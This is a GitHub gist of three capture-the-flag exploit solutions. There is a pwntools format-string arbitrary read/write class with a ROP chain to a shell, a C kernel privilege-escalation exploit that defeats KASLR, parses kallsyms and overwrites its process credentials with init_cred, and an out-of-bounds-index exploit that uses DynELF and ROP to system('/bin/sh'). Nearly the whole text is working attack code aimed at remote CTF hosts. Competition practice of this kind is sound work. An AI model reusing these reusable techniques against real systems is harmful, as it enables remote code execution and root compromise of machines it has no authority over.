Skip to content

Instantly share code, notes, and snippets.

@circleous
Last active July 19, 2026 03:25
Show Gist options
  • Select an option

  • Save circleous/7a886d55daa105231759838826ee9285 to your computer and use it in GitHub Desktop.

Select an option

Save circleous/7a886d55daa105231759838826ee9285 to your computer and use it in GitHub Desktop.
WreckIt 7.0 CTF - pwn
#!/usr/bin/env python3
from pwn import *
class FmtAARW:
"""Generic format-string arbitrary read/write.
Works when the bug lets you resubmit format strings against a stack that
holds a self-referential pointer: some slot (`anchor`) points at another
stack slot, giving a 3-link chain:
anchor -> pivot slot -> scratch slot(s)
Writing through `anchor` (%N$hn) sets where `pivot` points; writing through
`pivot` sets what a scratch slot holds; a scratch slot then holds an
arbitrary address that %s / %hn dereferences. Result: read() + write_qword().
the stack (each box is one 8-byte slot, addressed by its %N$ index)
┌────────────┐
│ anchor │ %anchor$hn: set pivot's low 16 bits →
│ = &pivot │ re-aim pivot at any cell / byte-lane
└──────┬─────┘
│ points at
┌────────────┐
│ pivot │ %pivot$hn: write 16 bits to *pivot —
│ = &cell │ into whichever cell+lane it now aims at
└──────┬─────┘
┌─────────┬────┴────┬─────────┐ pivot sweeps all 4 cells,
▼ ▼ ▼ ▼ each filled 16 bits at a time
┌────────┐┌────────┐┌────────┐┌────────┐
│cells[0]││cells[1]││cells[2]││cells[3]│ → each = a full addr
└───┬────┘└───┬────┘└───┬────┘└───┬────┘
▼ ▼ ▼ ▼
%scratch$s (read) / %(scratch+i)$hn (write) → AARW
the same thing as a stack snapshot (addr = base + 8*(pos-6);
indices/addresses are illustrative, they differ every run)
%N$ stack addr 8-byte value role
─── ──────────────── ────────────────── ──────────────────────
6 0x7fffffffdc00 0x... base = &slot6
10 0x7fffffffdc20 0x7fffffffdc50 anchor: value == addr of %16$
16 0x7fffffffdc50 0x7fffffffdd10 pivot: value == addr of %40$
40 0x7fffffffdd10 <target address+0> cells[0] ┐
41 0x7fffffffdd18 <target address+2> cells[1] │ scratch, each
42 0x7fffffffdd20 <target address+4> cells[2] │ filled by pivot
43 0x7fffffffdd28 <target address+6> cells[3] ┘
Two levels of indirection: `anchor` re-aims `pivot` (via its low 16 bits),
then `pivot` — wherever aimed — writes 16 bits at a time, sweeping across
the four contiguous scratch cells (lanes 0/2/4/6) to fill each with a full
target address; a final %s/%hn through the cells is the read/write.
Pass a `submit(fmt: bytes) -> bytes` that sends one format string and
returns printf's reply. `anchor` is the %N$ index of the stack pointer.
"""
def __init__(self, submit, anchor, n_cells=4, stack_dump=80):
self.submit = submit
self.anchor = anchor
self._pivot_at = None
self.snap = self._dump(1, stack_dump) # exposed: caller derives PIE etc.
# anchor points at the pivot slot: clobber through it, see what moved.
self._w8(anchor, 0xAA)
self.pivot = self._diff(self.snap, self._dump(1, stack_dump))
assert self.pivot, "anchor is not a pointer to a stack slot"
self._w8(anchor, self.snap[self.pivot - 1] & 0xFF) # restore clobbered byte
# pivot slot points at the scratch slot: write through it, see what moved.
self._w16(self.pivot, 0x1337)
self.scratch = self._diff(self.snap, self._dump(1, stack_dump))
assert self.scratch, "pivot slot does not point at a stack slot"
# anchor's value is a known stack address -> recover the stack base.
self.base = self.snap[anchor - 1] - 8 * (self.pivot - 6)
self.cells = [self._make_cell(self.scratch + i) for i in range(n_cells)]
log.info(f"anchor={anchor} pivot={self.pivot} scratch={self.scratch} base={self.base:#x}")
def stack_addr(self, pos):
return self.base + 8 * (pos - 6)
# --- low-level format-string primitives -------------------------------
def _w16(self, pos, v):
v &= 0xFFFF
self.submit((f"%{pos}$hn" if v == 0 else f"%{v}c%{pos}$hn").encode())
def _w8(self, pos, v):
v &= 0xFF
self.submit((f"%{pos}$hhn" if v == 0 else f"%{v}c%{pos}$hhn").encode())
def _dump(self, start, count, batch=5):
out = []
for i in range(0, count, batch):
n = min(batch, count - i)
cur = start + i
fmt = b"|".join(f"%{j}$p".encode() for j in range(cur, cur + n))
for p in self.submit(fmt).strip().split(b"|"):
p = p.strip()
out.append(int(p, 16) if p != b"(nil)" else 0)
return out
@staticmethod
def _diff(a, b):
for i in range(min(len(a), len(b))):
if a[i] != b[i]:
log.debug(f" [{i + 1}] {a[i]:#x} -> {b[i]:#x}")
return i + 1
return None
def _pivot_goto(self, addr):
if self._pivot_at != addr:
self._w16(self.anchor, addr) # only low 16 bits vary; stack region is fixed
self._pivot_at = addr
def _make_cell(self, pos):
"""Return set(target): make the 8-byte value at stack slot `pos` == target."""
cell_addr = self.stack_addr(pos)
cache = {0: None, 2: None, 4: None, 6: None}
def set_it(target):
for off in (6, 4, 2, 0):
lane = (target >> (off * 8)) & 0xFFFF
if lane != cache[off]:
self._pivot_goto(cell_addr + off)
self._w16(self.pivot, lane)
cache[off] = lane
return set_it
def _multi_w16(self, writes):
parts, total = [], 0
for pos, v in writes:
v &= 0xFFFF
delta = (v - total) & 0xFFFF
if delta:
parts.append(f"%{delta}c")
parts.append(f"%{pos}$hn")
total = v
self.submit("".join(parts).encode())
# --- public read / write ---------------------------------------------
def write_qword(self, addr, value):
for i, cell in enumerate(self.cells[:4]):
cell(addr + 2 * i)
self._multi_w16([(self.scratch + i, (value >> (16 * i)) & 0xFFFF) for i in range(4)])
def read(self, addr, length, progress=False):
data = b""
p = log.progress("Leaking") if progress else None
while len(data) < length:
self.cells[0](addr + len(data))
chunk = self.submit(f"%{self.scratch}$s".encode())
if chunk.endswith(b"\n"):
chunk = chunk[:-1]
data += chunk if chunk else b"\x00"
if p:
p.status(f"{len(data):#x}/{length:#x}")
if p:
p.success(f"{len(data):#x} bytes")
return data[:length]
r = remote("35.198.248.110", 34880)
r.recvuntil(b"> ")
wait = True
def submit(s):
r.sendline(s)
if wait:
return r.recvuntil(b"> ", drop=True)
# Build the arbitrary read/write off the self-referential pointer at slot 10.
m = FmtAARW(submit, anchor=10)
pie = m.snap[70] - 0x40 # AT_PHDR
log.info(f"PIE {pie:#x}")
printf = u64(m.read(pie + 0x3FC8, 8)) # printf@GOT
log.info(f"PRINTF {printf:#x}")
# --- how the libc offset below was found (run once, then hardcode) --------
# Scan backwards page-by-page from printf until the ELF header shows up: that
# page is the libc base. Then dump the first 0x400 bytes, pull the GNU build
# id out of the NT_GNU_BUILD_ID note, and look it up on libc.rip / a local
# libc-database to fetch the exact binary and its symbol offsets.
#
# page = printf & ~0xFFF
# while m.read(page, 4) != b"\x7fELF":
# page -= 0x1000
# log.info(f"LIBC base {page:#x}")
# hdr = m.read(page, 0x400) # build id lives in the .note.gnu.build-id note
# log.info("BUILD ID region:\n" + hexdump(hdr))
# libc = page
# --------------------------------------------------------------------------
libc = printf - 0x525b0
log.info(f"LIBC {libc:#x}")
pop_rdi = libc + 0x277e5
bin_sh = libc + 0x197031
add_rsp_d8 = libc + 0x416a3
system = libc + 0x4c490
ret = m.base - 8
rop = [pop_rdi + 1, pop_rdi, bin_sh, system] # +1 for 16-byte stack alignment
for i, val in enumerate(rop):
m.write_qword(ret + 0xE0 + i * 8, val)
wait = False # the triggering write returns into the ROP, no prompt back
m.write_qword(ret, add_rsp_d8)
r.recvall(timeout=5)
r.interactive()
/* goddes — /dev/vuln arbitrary kernel R/W → root.
*
* The device exposes copy_to/from_user(kaddr, ubuf, size) with no checks
* (max 0x1000 bytes/call). We:
* 1. brute the KASLR base (first mapped kernel-text page),
* 2. parse the in-kernel kallsyms tables (Linux 7.0 layout, PC-relative
* offsets — ref: kernel scripts/kallsyms.c, trailofbits/mquire) to
* resolve init_task, init_cred and page_offset_base exactly,
* 3. read page_offset_base to de-randomise the physmap, scan it for our
* task_struct (via a prctl comm marker), and point our cred/real_cred
* at init_cred → full root+caps.
*
* No usermodehelper (modprobe_path / core_pattern are neutered by
* CONFIG_STATIC_USERMODEHELPER on this target).
*/
#define _GNU_SOURCE
#include <err.h>
#include <fcntl.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <unistd.h>
#define DEV_PATH "/dev/vuln"
#define IOCTL_ARB_READ 0xC0185601
#define IOCTL_ARB_WRITE 0xC0185602
#define MAX_XFER 0x1000
#define STEP (2ULL * 1024 * 1024)
#define KERNEL_MIN 0xffffffff80000000ULL
#define KERNEL_MAX 0xffffffffc0000000ULL
struct arb_req {
uint64_t kaddr;
uint64_t ubuf;
uint64_t size;
};
static int fd = -1;
/* --- primitives --- */
static int arb_read_safe(uint64_t kaddr, void* buf, size_t size) {
struct arb_req req = {.kaddr = kaddr, .ubuf = (uint64_t)buf, .size = size};
return ioctl(fd, IOCTL_ARB_READ, &req);
}
static void arb_read(uint64_t kaddr, void* buf, size_t size) {
if (arb_read_safe(kaddr, buf, size) < 0) err(1, "arb_read @ 0x%lx", kaddr);
}
static int arb_read64_safe(uint64_t addr, uint64_t* out) {
return arb_read_safe(addr, out, sizeof(*out));
}
static uint64_t arb_read64(uint64_t kaddr) {
uint64_t v;
arb_read(kaddr, &v, sizeof(v));
return v;
}
static void arb_write64(uint64_t kaddr, uint64_t val) {
struct arb_req req = {
.kaddr = kaddr, .ubuf = (uint64_t)&val, .size = sizeof(val)};
if (ioctl(fd, IOCTL_ARB_WRITE, &req) < 0) err(1, "arb_write @ 0x%lx", kaddr);
}
static void arb_read_big(uint64_t kaddr, void* buf, size_t size) {
for (size_t done = 0; done < size;) {
size_t c = size - done > MAX_XFER ? MAX_XFER : size - done;
arb_read(kaddr + done, (uint8_t*)buf + done, c);
done += c;
}
}
static int arb_read_big_safe(uint64_t kaddr, void* buf, size_t size) {
for (size_t done = 0; done < size;) {
size_t c = size - done > MAX_XFER ? MAX_XFER : size - done;
if (arb_read_safe(kaddr + done, (uint8_t*)buf + done, c) < 0) return -1;
done += c;
}
return 0;
}
/* --- KASLR base --- */
static uint64_t find_kaslr_base(void) {
uint8_t buf[64];
for (uint64_t base = KERNEL_MIN; base < KERNEL_MAX; base += STEP) {
if (arb_read_safe(base, buf, sizeof(buf)) < 0) continue;
for (size_t i = 0; i < sizeof(buf); i++)
if (buf[i] != 0x00 && buf[i] != 0xff) {
printf("[+] kernel base = 0x%016lx\n", base);
return base;
}
}
errx(1, "kernel base not found");
}
/* ===================== kallsyms resolver (Linux 7.0 layout) =====================
* Layout (each .balign 4):
* num_syms(.long) | names | markers(.long[]) | token_table | token_index |
* offsets(.long[]) | seqs_of_names
* Addresses are PC-relative to the offset slot itself:
* addr[i] = (offs_base + 4*i) + (int32)offs[i]
* Anchors: token_index (256 LE u16 asc from 0) → token_table just before, offsets
* just after; markers (asc u32 from 0) just before token_table; linux_banner before
* num_syms gives names_start. */
static struct {
int ready;
uint32_t num;
int32_t* offs;
uint8_t* names;
size_t names_len;
uint64_t offs_base;
uint16_t tindex[256];
uint8_t toktab[8192];
} KS;
static uint64_t ks_sym_addr(uint32_t i) {
return KS.offs_base + 4ULL * i + (int64_t)KS.offs[i];
}
static size_t ks_expand(size_t off, char* out, size_t outmax) {
const uint8_t* d = KS.names + off;
int len = *d++;
off++;
if (len & 0x80) {
len = (len & 0x7f) | (*d++ << 7);
off++;
}
off += len;
size_t o = 0;
int skipped = 0;
while (len--) {
const uint8_t* t = KS.toktab + KS.tindex[*d++];
while (*t) {
if (skipped) {
if (o + 1 < outmax) out[o++] = *t;
} else
skipped = 1;
t++;
}
}
out[o] = 0;
return off;
}
static uint64_t ks_resolve(const char* name) {
if (!KS.ready) return 0;
size_t off = 0;
char nm[256];
for (uint32_t i = 0; i < KS.num; i++) {
size_t next = ks_expand(off, nm, sizeof(nm));
if (!strcmp(nm, name)) return ks_sym_addr(i);
off = next;
}
return 0;
}
/* token_table: 256 NUL-terminated strings immediately before token_index.
* Returns its address, or 0 if this token_index candidate is bogus. */
static uint64_t ks_find_token_table(uint64_t tindex_addr) {
uint16_t last = KS.tindex[255];
size_t bufsz = last + 128;
if (bufsz > sizeof(KS.toktab)) return 0;
uint8_t tt[8320];
uint64_t tt_base = tindex_addr - bufsz;
if (arb_read_safe(tt_base, tt, bufsz) < 0) return 0;
for (size_t si = 0; si + last + 1 <= bufsz; si++) {
if (tt[si] == 0) continue;
if (si > 0 && tt[si - 1] != 0) continue;
int ok = 1;
for (int k = 1; k < 256 && ok; k++) {
if (tt[si + KS.tindex[k] - 1] != 0)
ok = 0;
else if (tt[si + KS.tindex[k]] == 0)
ok = 0;
}
if (ok) return tt_base + si;
}
return 0;
}
/* markers: ascending u32 (first entry 0) just before token_table. */
static uint64_t find_markers(uint64_t toktab_addr, uint64_t kbase,
uint32_t** out_markers, uint32_t* out_cnt) {
size_t win = 0x100000;
if (toktab_addr - kbase < win) win = toktab_addr - kbase;
win &= ~3ULL;
uint8_t* buf = malloc(win);
if (!buf) return 0;
if (arb_read_big_safe(toktab_addr - win, buf, win) < 0) {
free(buf);
return 0;
}
const uint32_t* u = (const uint32_t*)buf;
ssize_t n = win / 4;
ssize_t i = n - 1;
while (i > 0 && u[i] != 0) {
uint32_t step = u[i] - u[i - 1];
if (u[i - 1] >= u[i] || step < 0x200 || step > 0x800100) {
free(buf);
return 0;
}
i--;
}
if (u[i] != 0) {
free(buf);
return 0;
}
uint32_t cnt = n - i;
uint32_t* m = malloc(cnt * 4);
if (!m) {
free(buf);
return 0;
}
memcpy(m, u + i, cnt * 4);
free(buf);
*out_markers = m;
*out_cnt = cnt;
return (toktab_addr - win) + (uint64_t)i * 4;
}
/* Parse names from names_start; require offset at every 256th symbol to equal
* markers[j], and _stext to resolve near kbase. On success sets KS ready. */
static int ks_validate_names(uint64_t names_start, uint64_t names_end,
const uint32_t* markers, uint32_t markers_cnt,
uint64_t kbase) {
if (names_end <= names_start || names_end - names_start > 16ULL * 1024 * 1024)
return 0;
size_t nlen = names_end - names_start;
uint8_t* nb = malloc(nlen + 16);
if (!nb) return 0;
if (arb_read_big_safe(names_start, nb, nlen) < 0) {
free(nb);
return 0;
}
memset(nb + nlen, 0, 16);
free(KS.names);
KS.names = nb;
KS.names_len = nlen;
size_t off = 0;
uint32_t i = 0;
char nm[512];
while (off < nlen && KS.names[off] != 0) {
if ((i & 0xFF) == 0) {
uint32_t j = i >> 8;
if (j < markers_cnt && markers[j] != off) return 0;
}
size_t next = ks_expand(off, nm, sizeof(nm));
if (next <= off || next > nlen + 2) return 0;
off = next;
i++;
if (i > 4000000) return 0;
}
if (i < (markers_cnt ? (markers_cnt - 1) * 256u + 1 : 1)) return 0;
KS.num = i;
free(KS.offs);
KS.offs = malloc(4ULL * KS.num);
if (!KS.offs) return 0;
if (arb_read_big_safe(KS.offs_base, KS.offs, 4ULL * KS.num) < 0) return 0;
KS.ready = 1;
uint64_t s = ks_resolve("_stext");
if (!s) s = ks_resolve("_text");
if (s && s > kbase - 0x200000 && s < kbase + 0x400000) return 1;
KS.ready = 0;
return 0;
}
static int ks_init(uint64_t kbase) {
if (KS.ready) return 1;
uint8_t win[MAX_XFER];
uint64_t end = kbase + 96ULL * 1024 * 1024;
/* token_index (256 LE u16 asc from 0, small steps) validated by a token_table
* right before it — reject false positives and keep scanning. */
uint64_t tindex_addr = 0, toktab_addr = 0;
for (uint64_t addr = kbase; addr < end && !toktab_addr;
addr += MAX_XFER - 512) {
if (arb_read_safe(addr, win, MAX_XFER) < 0) continue;
for (size_t p = 0; p + 512 <= MAX_XFER; p += 2) {
const uint16_t* v = (const uint16_t*)(win + p);
if (v[0] != 0 || v[255] < 256 || v[255] >= 4096) continue;
int ok = 1;
for (int k = 1; k < 256; k++) {
int step = v[k] - v[k - 1];
if (step < 1 || step > 40) {
ok = 0;
break;
}
}
if (!ok) continue;
memcpy(KS.tindex, v, sizeof(KS.tindex));
uint64_t cand = ks_find_token_table(addr + p);
if (cand) {
tindex_addr = addr + p;
toktab_addr = cand;
break;
}
}
}
if (!toktab_addr) {
warnx("kallsyms token tables not found");
return 0;
}
size_t toktab_len = tindex_addr - toktab_addr;
if (toktab_len > sizeof(KS.toktab)) toktab_len = sizeof(KS.toktab);
arb_read_big(toktab_addr, KS.toktab, toktab_len);
/* offsets base = 4-aligned end of token_index (256 shorts = 512 bytes) */
KS.offs_base = (tindex_addr + 512 + 3) & ~3ULL;
/* markers */
uint32_t *markers = NULL, markers_cnt = 0;
uint64_t markers_start =
find_markers(toktab_addr, kbase, &markers, &markers_cnt);
if (!markers_start) {
warnx("kallsyms_markers not found");
return 0;
}
/* linux_banner precedes num_syms → names_start; validate via markers.
* Collect "Linux version " hits before markers, try closest-first. */
uint64_t cand[64];
int nc = 0;
const char* bn = "Linux version ";
size_t bnlen = 14;
for (uint64_t addr = kbase; addr < markers_start && nc < 64;
addr += MAX_XFER - 32) {
size_t span = markers_start - addr;
if (span > MAX_XFER) span = MAX_XFER;
if (arb_read_safe(addr, win, span) < 0) continue;
for (size_t p = 0; p + bnlen <= span; p++)
if (!memcmp(win + p, bn, bnlen)) {
if (nc < 64) cand[nc++] = addr + p;
}
}
int ok = 0;
for (int c = nc - 1; c >= 0 && !ok; c--) {
char tmp[512];
if (arb_read_safe(cand[c], tmp, sizeof(tmp)) < 0) continue;
size_t blen = strnlen(tmp, sizeof(tmp));
uint64_t nsa =
(cand[c] + blen + 1 + 3) & ~3ULL; /* num_syms addr (4-align) */
uint32_t ns;
if (arb_read_safe(nsa, &ns, 4) < 0) continue;
if (ns < (markers_cnt ? (markers_cnt - 1) * 256u + 1 : 1) ||
ns > markers_cnt * 256u)
continue;
uint64_t ns4 = nsa + 4,
ns8 = (nsa + 4 + 7) & ~7ULL; /* names align: try 4 and 8 */
if (ks_validate_names(ns4, markers_start, markers, markers_cnt, kbase) ||
ks_validate_names(ns8, markers_start, markers, markers_cnt, kbase))
ok = 1;
}
free(markers);
if (!ok) {
warnx("kallsyms names not resolved");
return 0;
}
printf("[+] kallsyms: %u symbols\n", KS.num);
return 1;
}
/* --- root: swap our cred → init_cred (no usermodehelper) --- */
static void swap_creds(void) {
uint64_t kbase = find_kaslr_base();
if (!ks_init(kbase)) errx(1, "kallsyms init failed");
uint64_t init_task = ks_resolve("init_task");
uint64_t init_cred = ks_resolve("init_cred");
if (!init_task || !init_cred)
errx(1, "resolve failed (init_task=0x%lx init_cred=0x%lx)", init_task,
init_cred);
printf("[+] init_task @ 0x%016lx init_cred @ 0x%016lx\n", init_task,
init_cred);
/* task_struct offsets derived from init_task by exact-value matching */
uint8_t it[0x2800];
arb_read_big(init_task, it, sizeof(it));
ptrdiff_t comm_off = -1, cred_off = -1;
for (size_t i = 0; i + 10 <= sizeof(it); i++)
if (!memcmp(it + i, "swapper/0", 10)) {
comm_off = i;
break;
}
if (comm_off < 0) errx(1, "swapper/0 not inside init_task");
for (size_t i = 8; i + 8 <= sizeof(it); i += 8)
if (*(uint64_t*)(it + i) == init_cred &&
*(uint64_t*)(it + i - 8) == init_cred) {
cred_off = i;
break; /* cred, with real_cred before it */
}
if (cred_off < 0) errx(1, "cred field not found in init_task");
printf("[+] offsets: comm=+0x%tx cred=+0x%tx\n", comm_off, cred_off);
/* de-randomise the physmap via page_offset_base, then find our task_struct */
uint64_t pob = ks_resolve("page_offset_base");
uint64_t phys = pob ? arb_read64(pob) : 0xffff888000000000ULL;
printf("[*] page_offset_base = 0x%016lx\n", phys);
char marker[16] = "G0000000DDESS\0";
if (prctl(PR_SET_NAME, marker, 0, 0, 0) < 0) err(1, "prctl");
printf("[*] uid=%u, scanning physmap for our task...\n", getuid());
uint8_t buf[MAX_XFER];
uint64_t our_task = 0;
for (uint64_t a = phys; a < phys + (16ULL << 30) && !our_task;
a += MAX_XFER - 16) {
if (arb_read_safe(a, buf, MAX_XFER) < 0) continue;
for (int o = 0; o <= (int)(MAX_XFER - 16); o++) {
if (memcmp(buf + o, marker, 14)) continue;
uint64_t task = (a + o) - comm_off, cred;
if (arb_read64_safe(task + cred_off, &cred) < 0) continue;
if (cred < 0xffff800000000000ULL) continue; /* skip false hits */
our_task = task;
break;
}
}
if (!our_task) errx(1, "our task not found in physmap");
printf("[+] our task_struct @ 0x%016lx\n", our_task);
arb_write64(our_task + cred_off, init_cred); /* cred */
arb_write64(our_task + cred_off - 8, init_cred); /* real_cred */
printf("[*] cred swapped — uid=%u euid=%u\n", getuid(), geteuid());
if (getuid() == 0) {
printf("[+] root! spawning shell\n");
execl("/bin/sh", "sh", NULL);
err(1, "execl");
}
errx(1, "still uid %u", getuid());
}
int main(void) {
fd = open(DEV_PATH, O_RDWR);
if (fd < 0) err(1, "open %s", DEV_PATH);
swap_creds();
close(fd);
return 0;
}
#!/usr/bin/env python3
from pwn import *
HOST = "35.198.248.110"
PORT = 32175
context.arch = "amd64"
r = remote(HOST, PORT)
r.recvuntil(b">>> ")
def read_val(idx):
r.sendline(f"read {idx}".encode())
resp = r.recvuntil(b">>> ")
return int(resp.split(b"\n")[0].strip(), 0)
def write_val(idx, val):
r.sendline(f"write {idx} {val}".encode())
r.recvuntil(b">>> ")
# qword_4050 is at offset 0x4050 from pie_base -> OOB idx = (off - 0x4050)//8
def pie(off):
return (off - 0x4050) // 8
def read_abs(addr):
return read_val((addr - pie_base - 0x4050) // 8)
def write_abs(addr, val):
write_val((addr - pie_base - 0x4050) // 8, val)
# ------------------------------------------------------------
# 1. leak PIE from .init_array[0] (pie_base + 0x1190)
# ------------------------------------------------------------
pie_base = read_val(pie(0x3D88)) - 0x1190
log.info(f"pie_base: {pie_base:#018x}")
# ------------------------------------------------------------
# 2. leak puts@GOT, walk back to the libc ELF header (no static
# offset -- the build-id isn't indexed anywhere, so there's no
# libc file to read offsets from).
# ------------------------------------------------------------
puts_addr = read_val(pie(0x3FA8))
libc_base = puts_addr & ~0xFFF
while read_abs(libc_base) & 0xFFFFFFFF != 0x464c457f:
libc_base -= 0x1000
log.info(f"libc_base: {libc_base:#018x}")
# ------------------------------------------------------------
# 3. DynELF over the live leak primitive -- parse
# .dynamic/.gnu.hash/.symtab/.strtab to resolve symbols instead
# of guessing static offsets.
# ------------------------------------------------------------
def leak(addr):
a = addr & ~7
return p64(read_abs(a))[addr - a:]
context.log_level = "error"
d = DynELF(leak, libc_base)
environ = d.lookup("environ", "libc")
system = d.lookup("system", "libc")
context.log_level = "info"
log.info(f"environ: {environ:#018x} (libc+{environ - libc_base:#x})")
log.info(f"system: {system:#018x} (libc+{system - libc_base:#x})")
# ------------------------------------------------------------
# 4. stack leak via environ
# ------------------------------------------------------------
stack_leak = read_abs(environ)
log.info(f"stack: {stack_leak:#018x}")
# ------------------------------------------------------------
# 5. pop rdi; ret -- scan forward from system for the "5f c3" bytes.
# We jump onto the exact address, so instruction alignment is
# irrelevant; any executable "5f c3" is pop rdi; ret.
# ------------------------------------------------------------
def find_pop_rdi(anchor, limit=0x4000):
blob = b""
for off in range(0, limit, 8):
blob += p64(read_abs(anchor + off))
i = blob.find(b"\x5f\xc3")
if i != -1:
return anchor + i
raise Exception("pop rdi;ret not found")
pop_rdi = find_pop_rdi(system)
log.info(f"pop_rdi: {pop_rdi:#018x} (libc+{pop_rdi - libc_base:#x})")
# ------------------------------------------------------------
# 6. exploit: /bin/sh into qword_4050, ROP over the return address
# slot found scanning down from the environ stack leak.
# ------------------------------------------------------------
str_bin_sh = pie_base + 0x4050
write_val(0, u64(b"/bin/sh\0"))
rop = [pop_rdi, str_bin_sh, system]
ret_addr = stack_leak - 288
log.info(f"hijacking {ret_addr:#018x}")
for i, val in enumerate(rop):
write_abs(ret_addr + i * 8, val)
r.sendline(b"quit")
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment